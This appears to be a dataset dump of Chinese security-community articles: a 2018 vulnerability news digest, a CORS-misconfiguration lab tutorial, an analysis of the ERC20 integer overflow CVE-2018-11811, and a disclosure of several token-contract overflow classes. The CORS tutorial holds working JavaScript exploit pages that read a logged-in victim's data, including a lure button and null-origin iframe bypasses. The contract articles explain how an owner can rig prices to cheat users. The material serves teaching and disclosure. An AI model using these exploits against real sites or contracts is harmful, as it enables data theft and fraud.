text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 5月22日安全热点 - 谷歌被控追踪440万英国iPhone用户
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞 Vulnerability
CVE-2018-3639 ：CPU Meltdown-Spectre漏洞变种4 Speculative Store Bypass
<http://t.cn/R3BTLII>
CVE-2018-3639：Speculative Store Bypass（SSB）技术分析
<http://t.cn/R3BTLxu>
DrayTek 路由器零日漏洞，已发现在野利用将DrayTek路由器DNS设置为38.134.121.95
<http://t.cn/R3uhMf8>
CVE-2018-8010：Apache Solr configset上传而导致的XXE漏洞
<http://t.cn/R3BRIbC>
CVE-2018-1000300：使用非常长的服务器命令应答关闭FTP连接时，可导致curl堆的缓冲区溢出造成RCE
<http://t.cn/R3BTLMj>
Foregenix公布 戴尔EMC RecoverPoint产品 的六个漏洞，其中三个还未修复
<http://t.cn/R3BTLfb>
Internet Systems Consortium推出了安全更新，以解决BIND DNS软件中的2个漏洞
<http://t.cn/R3BRIq5>
Dell SupportAssist 驱动程序存在漏洞 导致SYSTEM本地特权提升
<http://t.cn/R3BpAO3>
## 安全报告 Security Report
长亭 季度漏洞观察报告2018Q1
<http://t.cn/R3BpAN3>
## 安全资讯 Security Information
深圳证监局：联储证券被曝存在多项信息安全漏洞
<http://t.cn/R3BRIcU>
谷歌被控追踪440万英国iPhone用户：索赔43亿美元
<http://t.cn/R3BRIVT>
腾讯Node.js基础设施TSW正式开源
<http://t.cn/R3BpATL>
阿里云RDS智能诊断系统公开
<http://t.cn/R3mQRAf>
## 安全研究 Security Research
OWASP-Web-Checklist：OWASP Web 安全检测清单
<http://t.cn/R3WrEiW>
BinExp: Linux二进制漏洞利用教程
<http://t.cn/R3WDzE9>
使用Radare2和Cutter解密APT33的Dropshot恶意软件 – 第1部分
<http://t.cn/R3BRIID>
在7.0.0之前使用PF_RING打破命名空间隔离
<http://t.cn/R3BRIxw>
价值$36k的 Google App Engine 远成代码执行漏洞
<http://t.cn/R3u9nON>
绕过Chrome XSS内置防御
<http://t.cn/R3BTLVy>
## 恶意软件 Malware
GPON漏洞的在野利用（四） – TheMoon僵尸网络疑似使用新的0day
<http://t.cn/R3BpAY6>
数据库服务器的挖矿僵尸网络 DDG.Mining.Botnet 近期活动分析
<http://t.cn/R3BpAlX>
Mcafee：对疑似 ZooPark 恶意组织泄漏数据的分析报告
<http://t.cn/R3BTLiz> | 社区文章 |
# 全方位了解CORS跨域资源共享漏洞
>
> 前几天看网络安全abc123大佬发了一篇关于CORS漏洞的文章，质量很高，恰巧我之前也写过一篇，所以这里想按照大佬的思路，从前提知识，原理，利用过程全方面细致的研究一回
## 1\. 前言
想要了解明白这个漏洞，我们就需要知道一些前提
**同源策略 (Same Origin Policy)**
* 协议
* 域名
* 端口
同时满足这三种条件就是同源，当存在两个站点，其中有一项不满足相同条件的时候，我们即可说这两个站点不是同源站点，而当其中一个站点想请求另外一个站点的资源的时候我们边称它为`跨域请求`，而由于安全考虑，`跨域请求`会受到同源策略的限制
**不受影响的标签**
在HTML中\<a>, \<form>, \<img>, \<script>, \<iframe>, \<link> 等标签以及 Ajax
都可以指向一个资源地址
在这些标签中有以下的标签不受同源策略的限制
1. script
2. img
3. iframe
4. link
5. css
**用户对跨域的需求**
* 比如前后端分离的情况，前后端域名不同，但是前端会需要用到后端的接口，发送ajax请求
* 电商网站加载第三方快递网站的物流信息
**CORS机制解决**
CORS，跨域资源共享（Cross-origin resource
sharing），是H5提供的一种机制，WEB应用程序可以通过在HTTP增加字段来告诉浏览器，哪些不同来源的服务器是有权访问本站资源的，当不同域的请求发生时，就出现了跨域的现象。
下图是常见的跨域会遇到的请求头
当对CORS配置不当的时候，就导致资源被恶意操作，也就发生了我们熟悉的CORS漏洞
* * *
## 2.常见情况分析
如上面的图所示，我用红框标记的是最有代表性的三个头，其中我们可以手动为请求加上`Origin`，然后观察响应头的`Access-Control-Allow-Origin`和`Access-Control-Allow-Credentials`的值
* 其中Access-Control-Allow-Origin表示允许跨域访问的host
就三个值，可以设置成指定的网站，也可以设置成`*`表示允许所有host跨域访问，也可以设置为`null`，但是首先设置成null并不常见，并且也不推荐
* 如果想跨域传输cookies,需要Access-Control-Allow-Credentials设置为true，并且需要与XMLHttpRequest.withCredentials 或Fetch API中的Request() 构造器中的credentials 选项结合使用，例如使用`XMLHttpRequest`的时候需要将`withCredentials`的值设置为true
接下来按照常见性分为几种情况
Access-Control-Allow-Origin | Access-Control-Allow-Credentials | 结果
---|---|---
* | true | 不存在漏洞
<all-host></all-host> | true | 存在漏洞
<safe_host> | true | 安全-不存在漏洞
null | true | 存在漏洞
首先我用java写了个小demo，demo有两个页面，一个页面就是登录页面，另一个就是登录成功后会自动跳转的个人信息页面，如下图所示：
接下来我们来详细讨论上面的几种情况
* * *
**第一种，Allow-Origin为 * ，Allow-Credentials为 true**
后端开发一般会这样写
我们测试的时候一般是这样
那么这样写我们能利用吗？答案是不能，前面我们知道`Access-Control-Allow-Origin`表示允许跨域访问的host，我们这里设置成了通配符`*`，代表允许所有网站的跨域请求，当这种情况的时候，即便`Access-Control-Allow-Credentials`为true，那么会被认定为不安全的，将不能将cookie发送到服务端，所以我们利用会失败
**攻击服务器代码：index.jsp**
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<html>
<body>
<h2>Hello World!</h2>
<button id="attack" type="button" onclick="attack()">点我抢红包</button>
</body>
<script>
function attack() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function () {
// 当响应请求完成，并且返回200的时候弹出响应体
if (this.readyState == 4 && this.status == 200){
if(this.response =="" || this.response == null){
alert("恭喜已经绕过了同源策略，但是响应体为空，利用失败");
}else{
alert("黑客已经拿到你的敏感信息----"+this.response)
}
}
}
//打开靶机地址
xhttp.open("GET","http://192.168.1.2:8080/info",true);
//使用 cookie、授权标头或 TLS 客户端证书等凭据进行跨站点请求
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</html>
靶机地址： 192.168.1.2:8080
攻击服务器地址：192.168.1.251:8080
当用户登录状态下，访问我们的网站并点击相关按钮的时候，发下没有任何反应，这时候我们来看一下响应体和控制台，发现请求已经被同源策略禁止了
* * *
**第二种，Allow-Origin为 <all-host> ，Allow-Credentials为 true</all-host>**
这种的话其实也相当于同意了所有站点的跨域请求，一般如果是这种情况，那么漏洞肯定存在并且可以利用，而出现漏洞的原因就是一些开发为了图方便导致的
后端代码长这样
我们测试的时候，通常情况下还是手动加上`origin`然后将值随便设置成其它域名，结果如下图
同样的我们进行利用
可以利用成功，但是就这么简单吗？当然不是，这是我在虚拟机上下的一个谷歌的盗版浏览器，接下来我用我本机的三个浏览器试试
Firefox：
**Chrome：**
**Microsoft Edge：**
所以呢？这是为什么，我们就没办法利用了吗？
先来说下为什么，原因就是`SameSite`属性，2016年开始，Chrome **51** 版本对Cookie新增了一个
SameSite属性，为了防止`CSRF`攻击，陆续的各大厂商的浏览器也都适配了该属性，该属性有什么用呢？如下图所示，展示了SameSite和其它跟cookie有关的设置的基本用途
samesite属性有三个值
* **Strict：** 最为严格，完全禁止第三方 Cookie，跨站点时，任何情况下都不会发送 Cookie。
* **Lax：** 当开发开发人员没有设置samesite的值得时候，Lax是默认值，规则稍稍放宽，大多数情况也是不发送第三方 Cookie，详细如下图
我们利用页面的请求，可以算作一个AJAX，所以当我们默认情况下去利用不会发送cookie
* **None：** 所有请求中都允许发送cookie，但是如果samesite配置成了none，还必须将cookie加上`Secure`属性才能够生效
>
> 所以当遇到https协议的站点，并且cookie的samesite被设置成None的时候，也可以利用，如下图所示，我将站点改成了https，并且加上了samesite=None以及Secure
利用成功
* * *
其中当Allow-Origin设置为safe-host（我这里指的就是正确配置了指点允许跨域访问对的站点）就不演示了，肯定是老铁没毛病
**第三种，Allow-Origin为 null ，Allow-Credentials为 true**
这种情况可以被绕过，因为任何使用非分级协议（如 `data:` 或 `file:`）的资源和沙盒文件的 Origin
的序列化都被定义为‘null’，所以我们这里利用`iframe`标签，使用 data url
格式将src的值直接加载为html（同样的利用成功的前提仍然要考虑我们上述提到的samesite）
<iframe sandbox="allow-scripts allow-top-navigation allow-forms allow-modals" src="data:text/html;charset=UTF-8,<script>
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function () {
// 当响应请求完成，并且返回200的时候弹出响应体
if (this.readyState == 4 && this.status == 200){
if(this.responseText =='' || this.responseText == null){
alert('恭喜已经绕过了同源策略，但是响应体为空，利用失败');
console.log('no,'+this.responseText)
}else{
alert('黑客已经拿到你的敏感信息----'+this.responseText);
console.log('yes,'+this.responseText)}
}
}
xhttp.open('GET','https://192.168.1.2:8443/info',true);
xhttp.withCredentials = true;
xhttp.send();
</script>"></iframe>
利用成功
当然也可以利用h5的新属性`srcdoc`
<iframe sandbox="allow-scripts allow-top-navigation allow-forms allow-modals" srcdoc="<script>
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function () {
// 当响应请求完成，并且返回200的时候弹出响应体
if (this.readyState == 4 && this.status == 200){
alert(this.responseText);
}
}
xhttp.open('GET','https://192.168.1.2:8443/info',true);
xhttp.withCredentials = true;
xhttp.send();</script>
"></iframe>
同样可以利用
* * *
## 3\. 安全建议
* Access-Control-Allow-Origin不应该设置为null，也不建议设置为*，做好设置成受信的站点
* Access-Control-Allow-Methods的值可以控制尽量少一些，只留需要用到的请求方法
* 开发人员尽量将cookie安全性设置高一些，例如`Httponly`,`Security`，`SameSite`
* 提高敏感数据安全性，例如加密，身份二次验证等 | 社区文章 |
### 一、前言
在上一篇文章中，我们详细地讲述了solidity中的整数溢出漏洞。而在本文中，我们将重点放在真实事件中，从0开始针对某些真实环境中的CVE进行复现操作。一步一步带领大家去了解合约内部的秘密。
本文中涉及的漏洞内容均为整数溢出的CVE，我们会对源代码进行详细的分析，并在分析漏洞的过程中讲述合约的搭建内容。
### 二、cve漏洞介绍
这次分析漏洞[CVE-2018-11811](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11811)。由于上次的文章我们详细的讲述了整数溢出漏洞的原理以及一些合约实例。所以这次我们趁热打铁，针对真实生产环境中的cve漏洞进行分析、复现。
这个漏洞是于今年6月12日由清华-360企业安全联合研究中心的张超教授团队披露出来的，安比（SECBIT）实验室针对这些漏洞，对以太坊上已部署的23357个合约进行了分析检测，发现共有866个合约存在相同问题。而今天我们讲述的这个漏洞共影响了288个智能合约。
合约源码如下：<https://etherscan.io/address/0x0b76544f6c413a555f309bf76260d1e02377c02a>
在详细讲述合约漏洞前，我们将合约的具体内容交代清楚。
这个合约发行了一套自己的token，并且可以用以太币对这些token进行交换。即包括：用户可以使用以太币兑换token，也可以出售token去获得以太币。而具体实现的函数如下：
这是owner对购买与卖出价格进行设定的函数：
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
下面是用户对token进行购买的函数：
function buy() payable {
uint amount = msg.value / buyPrice; // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
这是用户出售token去换取以太币的函数：
function sell(uint256 amount) {
require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
而问题就出在上面的三个函数中。最终达成的效果就是我平台的搭建者可以令用户用高价购买token却在卖出的时候以很便宜的价格卖出。从而达成对平台使用者的欺诈行为。
### 三、cve详细分析
#### 1 合约详解
这个合约是多继承于其他合约而部署的。所以在分析的时候我们要有针对性。
首先，我们需要看主要的合约内容：
contract INTToken is owned, token {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
function INTToken(
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol
) token (initialSupply, tokenName, decimalUnits, tokenSymbol) {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] > _value); // Check if the sender has enough
require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/// @notice Buy tokens from contract by sending ether
function buy() payable {
uint amount = msg.value / buyPrice; // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
/// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold
function sell(uint256 amount) {
require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
}
这是最终的合约。这也是安全隐患发生的地方。
下面我们详细的分析一下这个合约的功能。
首先，这个合约继承了`owned, token`合约。而我们向上看，`owned`合约为：
contract owned {
address public owner;
function owned() {
owner = msg.sender;
}
//构造函数，初始化合约owner
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
}
这个合约比较简单，构造函数将合约的owner变量初始化，并且定义了限定函数--`onlyOwner`。这个函数限定了调用者必须是合约拥有者。之后为了后面开发方便，合约又定义了`transferOwnership`，用这个函数来改变现在的合约owner。
**这也为我们的开发提醒，因为solidity合约部署之后是无法改变的，所以我们要尽可能的为后来的修改做考虑，增加一些必要的函数。**
下面我们看第二个父合约：`token`。
我们的主合约在启动时调用构造函数：
function INTToken(
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol
) token (initialSupply, tokenName, decimalUnits, tokenSymbol) {}
而构造函数只有简单的传参操作，所以很明显它是调用了父合约`token`的构造函数：
function token(
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol
) //传入参数
{
balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens 初始化用户金额
totalSupply = initialSupply; // Update total supply 更新总金额
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes 显示小数的符号
decimals = decimalUnits; // Amount of decimals for display purposes 更新小数的值
}
其中传入了四个参数，分别代表`庄家初始化总金额、token的名字、小数部分的具体值、token的标志类型`
之后是主合约的`_transfer`函数，这个函数从新定义了其父合约的同名函数。在父合约中，其函数定义为：
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] > _value); // Check if the sender has enough
require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows 检查溢出
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
Transfer(_from, _to, _value);
}
传入转账方已经接收方的地址以及转账的值。之后调用了一些判断，包括：“接收方地址不为0、转账方的余额>转账金额；增加了防止溢出的判断”。
而子合约中，在上述基础上又增加了判断是否转账方已经接受方账户被冻结的函数。
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] > _value); // Check if the sender has enough
require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
Transfer(_from, _to, _value);
}
之后，合约拥有者可以调用下面的函数来增加某个账户代币的数量。PS：这里我觉得是为了合约的健壮性考虑。合约的owner需要有足够的能力去增删改查所有用户的token数量。
之后增加金额后会将总金额-`totalSupply`进行更新。
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
除了上述增加token外，合约还定义了`burn`函数。
/// @notice Remove `_value` tokens from the system irreversibly
/// @param _value the amount of money to burn
function burn(uint256 _value) returns (bool success) {
require (balanceOf[msg.sender] > _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
这个函数的含义我还没有搞懂，但是从函数内容来看，它是用于销毁账户账面的部分金额。（就是说账户里有10块钱，我可以调用此函数来永久销毁2块钱）。
为了彰显owner的绝对权力，我们合约中能够查看到冻结账户的函数。
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
合约的owner可以调用这个函数来冻结或者解冻账户，被冻结了的账户是无法进行转账操作的。
#### 2 合约盲点
在我细致的分析合约过程中，我发现了合约中不易理解的一个点：
`mapping (address => mapping (address => uint256)) public allowance;`。
合约定义了一个mapping变量，而这个变量存储的也是账户账面的金额数量。虽然这次漏洞中与这个变量没有太大的关系，但是为了给读者提供一个可参考的例子，我还是在这里对这个变量的作用进行分析。
简单来说，我认为这个变量就类似于我们生活中的工资的概念。而这个工资是使用的公司内部自己印刷的钱财，可以在公司内部进行交易转账等等。
首先我们可以看赋权函数：
function approve(address _spender, uint256 _value)
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
这个函数使调用方给予`_spender`一个代替转账的权利。即
B向C转账，但是由于A给予B某些权利，那么我B就可以使用A给的额度来变相的向C转账。于是可以调用下面的转账函数：
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require (_value < allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
所以C确实收到了钱，而B使用AB花费了的某些约定来进行支付。
除此之外，合约同样定义了销毁函数`burnFrom`。用于销毁AB直接的某些约定。
function burnFrom(address _from, uint256 _value) returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance？？？？？？？？？？？？？？？？？？？？？？？？？？？？？
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
#### 3 安全漏洞点
阐述完了合约中的一些细节部分，下面我们来进一步对合约中存在的安全漏洞进行分析。
用户在合约中可以使用以太币来对合约中自定义的token进行兑换。
/// @notice Buy tokens from contract by sending ether
function buy() payable {
uint amount = msg.value / buyPrice; // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
用户可以传入`value`来购买数量为`msg.value / buyPrice`的token。而这个具体的单价是由合约拥有者调用函数得到的。
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
之后，当用户有了足够的token后，他可以用token换回自己的以太币。即出售token。
function sell(uint256 amount) {
require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
而漏洞就在上面的函数中。因为买卖的单价均可以由owner进行定义。倘若owner进行作恶，将单价设置为特殊的值，那么便可以达到意想不到的效果。例如：
管理员设置`buyPrice = 1 ether, sellPrice =
2^255`。即用户可以花1以太币购买一个token，然后可以以2^255的价格卖出。看起来很划算对吗？但是这样便产生了整数溢出。
倘若我们卖出两个token：amount * sellPrice = 2^256 。而我们这里为uint256类型，所以直接产生溢出，使变量为0
。也就是说，系统便可以不用花费任何一分钱就可以收入2个token，而用户直接白白损失了2个以太币。
除此之外，我们还可以简单地将卖出价格设置为0，这样同样使amount * sellPrice为0 。不过有可能无法使那些投机的用户上钩。
我们也可以对合约进行简单的部署。
之后传入参数：
成功后对买卖变量进行设置：
之后便可以使用第二个测试账户进行token的购买操作。
### 四、参考资料
* <https://paper.seebug.org/626/>
* <https://randomoracle.wordpress.com/2018/04/27/ethereum-solidity-and-integer-overflows-programming-blockchains-like-1970/>
* <https://consensys.github.io/smart-contract-best-practices/known_attacks/#integer-overflow-and-underflow>
* <https://www.cvedetails.com/google-search-results.php?q=2018-11811>
**本稿为原创稿件，转载请标明出处。谢谢。** | 社区文章 |
# ERC20智能合约整数溢出系列漏洞披露
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
从2016年The DAO被盗取6000万美元开始 ，到美链BEC价值归零 、BAI和EDU任意账户转帐
，再到最近EOS漏洞允许恶意合约穿透虚拟机危害矿工节点
，“智能合约”俨然成为区块链安全重灾区。“清华-360企业安全联合研究中心”团队在区块链安全方面进行了持续研究，开发了自动化漏洞扫描工具，近期发现了多个新型整数溢出漏洞，可造成超额铸币、超额购币、随意铸币、高卖低收、下溢增持等严重危害。
## 1.背景
智能合约作为区块链2.0的代表技术，适应于区块链去中心化、分布式的特点，
具有独立运行、不可篡改的优良特性，可用于实现包含金融工具在内的各类分布式应用。开发者可以自行定义交易逻辑并开发代码发布到链上，合约代码在矿工节点的虚拟机环境（如EVM）中执行。合约交易被打包进区块后，链上节点执行相同代码，从而同步改变链上数据状态。故合约的多方参与者无需建立信任，也无法相互欺骗。
与传统程序一样，智能合约无法避免地存在安全漏洞。而与传统程序不一样的是，合约运行在开放的区块链网络当中，可以被任意调用，而且合约的执行具有“不可更改”的效果，导致合约的漏洞被利用之后危害更大
。前面提到的BEC等合约中存在的整数溢出漏洞便是一个典型的例子，攻击者对漏洞的利用造成了数额惊人的损失。
整数溢出是一种常见的高危漏洞，曾引发许多严重事故。1996年阿丽亚娜5型运载火箭在发射37秒后解体并爆炸就是由于整数溢造成的
。整数溢出的原理是：计算机中整数变量有上下界，如果在算术运算中出现越界，即超出整数类型的最大表示范围，数字便会如表盘上的时针从12到1一般，由一个极大值变为一个极小值或直接归零。此类越界的情形在传统的软件程序中很常见，但是否存在安全隐患取决于程序上下文，部分溢出是良性的（如tcp序号等），甚至是故意引入的（例如用作hash运算等）。整数溢出漏洞检测和校验是有挑战性的，程序员极容易犯错，而自动化检测方法最大难点在于判断候选溢出是否真正导致了危害，以免造成大量的误报。
## 2.自动化挖掘
“清华-360企业安全联合研究中心”
ChainTrust团队成员充分利用多年软件漏洞挖掘的经验，针对智能合约开发了自动化检测工具，可以高效挖掘高危整数溢出漏洞。检测工具通过准确构建整数溢出点的上下文语义，采用符号执行和污点分析等技术，有效区分了无害溢出和有害溢出，能够显著降低漏洞的误报率和漏报率。
截止目前，团队针对Etherscan上排名前470位的代币合约进行了检测，除去未提供源码、没有完整爬取源码或耗时过长的合约，最终完整分析了390份合约。在这些被分析的合约中，团队总共发现25个智能合约存在整数溢出安全问题，申请获得了5个CVE编号，主要包含下述6类新型危害。
团队成员在“全球EOS开发者大会”上对部分漏洞进行了首次披露。本报告将对漏洞情况进行详细披露，旨在推进社区的安全健康发展。
## 3.新型漏洞详情
### 3.1.underSell: 高卖低收(CVE-2018-11811)
管理员通过修改合约中的参数来制造溢出漏洞，导致用户提币转出token之后，却收不到ETH（或收到极少量ETH），造成用户经济损失。
漏洞实例：合约Internet Node Token (INT)
漏洞所在位置：红色标注的行L175
漏洞攻击效果：用户提币之后，无法得到对应数额的ETH；
漏洞原理：sellPrice被修改为精心构造的大数后，可导致amount
_sellPrice的结果大于整数变量(uint256)最大值，发生整数溢出，从而变为一个极小值甚至归零。该值在程序语义中是用于计算用户提币应得的ETH数量，并在L175进行了校验，但该值被溢出变为极小值之后可以逃逸L175的校验，并导致用户售出token后只能拿到少量的（甚至没有）ETH。_
### _3.2.ownerUnderflow: 下溢增持(CVE-2018-11687)_
_管理员在特定条件下，通过调用合约中有漏洞的发币函数制造下溢，从而实现对自身账户余额的任意增加。
漏洞实例：合约Bitcoin Red（BTCR）
漏洞所在位置：红色标注的行L41
漏洞攻击效果：管理员执行了一个正常向某个地址进行发币的操作，实际已经暗中将自身账户的余额修改为了一个极大的数；
漏洞原理：distributeBTR()函数的本意是管理员给指定地址发放一定数额的token，并从自身账户减少对应的token数量。减少管理员账户余额的操作为balances[owner]
-= 2000 _ 10 **8 ，运算的结果将被存到balances[owner]中，是一个无符号整数类型。当管理员余额本身少于2000 * 10**
8时，减法计算结果为负值，解释为无符号整数即一个极大值。
### 3.3.mintAny: 随意铸币 (CVE-2018-11812)
管理员调用铸币函数给某个地址增加token时，利用溢出漏洞可以突破该函数只能增加token的限制，实际减少该地址的token数量，从而实现对任一账户余额的任意篡改（增加或减少）。在我们的检测中，有多达18个合约存在类似安全问题。
漏洞实例：合约PolyAi (AI)
漏洞所在位置：红色标注的行L132
漏洞攻击效果：管理员可以绕过合约限制，任意篡改所有地址的token余额；
漏洞原理：攻击者通过构造一个极大的mintedAmount，使得balanceOf[target] +
mintedAmount发生整数溢出，计算结果变为一个极小值。
### 3.4. overMint: 超额铸币(CVE-2018-11809)
管理员通过构造恶意参数，可以绕过程序中规定的token发行上限，实现超额铸币。合约Playkey
(PKT)存在此类漏洞，导致合约中的铸币上限形同虚设，从而发行任意多的token。此外，我们还发现Nexxus (NXX)、Fujinto
(NTO)两个合约存在类似漏洞，这两个合约没有铸币上限限制，但同样的手段，可以溢出合约中一个用于记录已发币总量(totalSupply)的变量值，使其与市场中实际流通的总币数不一致。
漏洞实例：合约Playkey (PKT)
漏洞所在位置：红色标注的行L237
漏洞攻击效果：管理员可以篡改已发币总量(totalSupply)为任意值，并绕过合约中的铸币上限超额发行token；
漏洞原理：_value在函数调用时被设置为精心构造的极大值，使得totalSupply +
_value计算结果溢出后小于tokenLimit，从而轻易绕过L237行的铸币上限检测。
### 3.5.allocateAny: 超额定向分配(CVE-2018-11810)
管理员通过制造溢出来绕过合约中对单地址发币的最大上限，可以对指定地址分配超额的token，使得对单地址的发布上限无效。
漏洞实例：合约LGO (LGO)
漏洞所在位置：红色标注的行L286
漏洞攻击效果：管理员绕过合约中规定的单地址发币上限，给指定地址分配超额的token；
漏洞原理： 一个极大的_amount可以使得算数加法运算holdersAllocatedAmount +
_amount发生整数溢出，变为一个极小值，从而绕过L286的检测。
### 3.6.overBuy：超额购币（CVE-2018-11809）
买家如果拥有足够多的ETH，可以通过发送大量token制造溢出，从而绕过ICO发币上限，达到超额购币。
漏洞实例：合约EthLend (LEND)
漏洞所在位置：红色标注的行L236
漏洞攻击效果：调用者绕过合约中规定ICO的token容量上限，获得了超额购币；
漏洞原理：一个极大的_newTokens可以使得算数加法运算totalSoldTokens +
newTokens发生整数溢出，变为一个极小值，从而绕过L236的检测。
## 4.漏洞列表
团队采用自动化工具分析了390份ERC20智能合约，除上述已披露的漏洞之外，共发现25个智能合约存在未知的整数溢出漏洞，详细情况如下表所示，出于对相关厂商安全的考虑，隐去了具体的漏洞位置、源代码等技术细节，相关厂商安全人员如有需求，可与研究团队联系（列表最右侧一列的类型编号对应上述分类，每种合约可能同时存在多种类型漏洞）:
## 5.结论
智能合约之所以“智能”，是由于合约代码一旦上链，其执行效果完全由可见且不可篡改的代码来决定，而不用依赖于对任何参与方的信任。然而，由上述漏洞分析可见，智能合约并没有预期的“智能”，存在相当多的安全风险，尤其是管理员权限下，可能导致诸多严重的安全问题。仅仅通过整数溢出这一常见漏洞类型，管理员便能够任意篡改所有账户余额，恶意超额、甚至无上限铸币，背离合约白皮书的约定，这样的合约无法保证参与多方的公平性，更无谈智能。而管理员利用整数溢出进行作恶早已有先例，2018年2月初，基于以太坊的Monero
Gold(XMRG) Token在交易所的价格先猛涨787%，后迅速暴跌至崩盘，造成大量用户经济损失
，其背后就是管理团队利用预留的整数溢出漏洞进行超额铸币，并在交易所抛售造成恶性通货膨胀，最后价值几乎归零
。在区块链上运行的智能合约，本意是利用区块链不可篡改的特性来构建可信的执行环境，然而安全漏洞的存在就像一个个隐藏的定时炸弹，对智能合约的可信任基础带来了巨大的挑战。
在近一个月之前，团队已经发现上述安全漏洞，在评估了安全威胁之后第一时间反馈给相关厂商，并通知了交易所（如火币网），希望能够帮助厂商和交易所及时修补漏洞和杜绝安全隐患，多家厂商在得到通报后也积极做出了应急响应。
## 6.关于我们
清华-360企业安全联合研究中心（筹）是清华大学网络研究院和360企业安全集团共同成立的联合研究机构，结合清华大学和360企业安全集团在学术研究和产业服务中的优势，面向世界学术和技术前沿开展研究，服务于国家和社会对网络空间安全的战略需求。研究团队在漏洞挖掘与攻防领域有丰富的经验，团队在国际四大顶级安全会议中发表多篇论文，在世界学术和工业界有广泛的影响力，孕育了“蓝莲花”等国际知名黑客战队。
参考文献
